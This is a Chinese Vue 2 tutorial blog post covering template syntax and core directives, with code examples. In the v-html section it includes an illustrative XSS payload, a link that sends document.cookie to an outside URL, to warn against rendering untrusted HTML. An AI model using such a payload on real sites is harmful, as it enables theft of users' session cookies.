Vue2学习系列(1)

146 阅读3分钟

模板语法

1. 插值语法

  • 功能:用于解析标签体内容
<div id="app">
    <h1>{{name}}</h1>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    const a=new Vue({
          el:'#app',
          data:{
              name:'Vuejs'
           }
      })
</script>

Vue数据绑定

  1. 单向绑定(v-bind):数据只能从data流向页面 2.双向绑定(v-model):数据不仅能从data流向页面

Vue内置指令

v-once指令

1.v-once所在节点在初次动态渲染后,就视为静态内容了。

2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

<div id="root">
    <h2 v-once>初始化的n值是:{{n}}</h2>
    <h2>当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    const a=new Vue({
          el:'#app',
          data:{
		n:1
            }
      })
</script>

v-text指令

1.作用:向其所在的节点中渲染文本内容。

2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。

<div id="root">
    <div>你好,{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    const a=new Vue({
          el:'#app',
          data:{
		name:'vue',
                str:'<h3>你好啊!</h3>'
            }
      })
</script>

v-html指令

1.作用:向指定节点中渲染包含html结构的内容。

2.与插值语法的区别:

  • v-html会替换掉节点中所有的内容,{{xx}}则不会。

  • v-html可以识别html结构。

3.严重注意:v-html有安全性问题

  • 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。

  • 一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

<div id="root">
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    const a=new Vue({
          el:'#app',
          data:{
		str:'<h3>你好啊!</h3>',
                str2:'<ahref=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
            }
      })
</script>

v-bind指令

  • 功能:用于解析标签(包括:标签属性,标签体内容,绑定事件...)
<div id="app">
    <a v-bind:href="link">Vue官网</a>
    
    <!-- v-bind:语法糖 -->
    <a :href="link">Vue官网</a>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    const a=new Vue({
          el:'#app',
          data:{
             link:'https://vuejs.org/'
           }
      })
</script>

v-on指令

  • 功能:用于绑定事件的指令

  • 事件的基本使用:

    1.使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名;

    2.事件的回调需要配置在methods对象中,最终会在vm上;

    3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;

    4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;

    5.@click="demo" 和 @click="demo($event)" 效果一致,但后者可以传参;

<div id="app">
   <button @click="showInfo1">点我提示信息1(不传参)</button>
   <button @click="showInfo2($event,66)">点我提示信息2(传参)</button>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    const a=new Vue({
          el:'#app',
          data:{
             link:'https://vuejs.org/'
           },
           methods:{
		showInfo1(event){
                      // console.log(event.target.innerText)
                      // console.log(this) //此处的this是vm
                      alert('同学你好!')
            },
		showInfo2(event,number){
                       console.log(event,number)
                        // console.log(event.target.innerText)
			// console.log(this) //此处的this是vm
			alert('同学你好!!')
            }
         }
      })
</script>

条件渲染:v-if和v-show

v-if

写法:

(1)v-if="表达式"

(2)v-else-if="表达式"

(3)v-else="表达式"

  • 适用于:切换频率较低的场景。

  • 特点:不展示的DOM元素直接被移除。

  • 注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”。

v-show

  • 写法:v-show="表达式"

  • 适用于:切换频率较高的场景。

  • 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉。

列表渲染 v-for指令

  • 用于展示列表数据

  • 语法:v-for="(item, index) in xxx" :key="yyy"

-可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

<div id="app">
   <h2>人员列表(遍历数组)</h2>
   <ul>
        <li v-for="(p,index) of persons" :key="index">
		{{p.name}}-{{p.age}}
	</li>
   </ul>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    const a=new Vue({
          el:'#app',
          data:{
            persons:[
                    {id:'001',name:'张三',age:18},
                    {id:'002',name:'李四',age:19},
                    {id:'003',name:'王五',age:20}
		]
           }
      })
</script>

v-model指令

用于收集表单数据

<!-- 

若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
	1.没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
	2.配置input的value属性:
            (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
            (2)v-model的初始值是数组,那么收集的的就是value组成的数组
备注:v-model的三个修饰符:
        lazy:失去焦点再收集数据
        number:输入字符串转为有效的数字
        trim:输入首尾空格过滤
		-->
<div id="app">
   <form>
	账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
	密码:<input type="password" v-model="userInfo.password"> <br/><br/>
	年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
	性别:
	男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
	爱好:
	学习<input type="checkbox" v-model="userInfo.hobby" value="study">
	打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
	吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
	<br/><br/>
	所属校区
	<select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="guangzhou">广州</option>
	</select>
	<br/><br/>
	其他信息:
	<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
	<input type="checkbox" v-model="userInfo.agree">阅读并接受
        <a href="http://www.atguigu.com">《用户协议》</a>
	<button>提交</button>
    </form>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>
    const a=new Vue({
          el:'#app',
          data:{
                userInfo:{
                    account:'',
                    password:'',
                    age:18,
                    sex:'female',
                    hobby:[],
                    city:'beijing',
                    other:'',
                    agree:''
		}
	 }
      })
</script>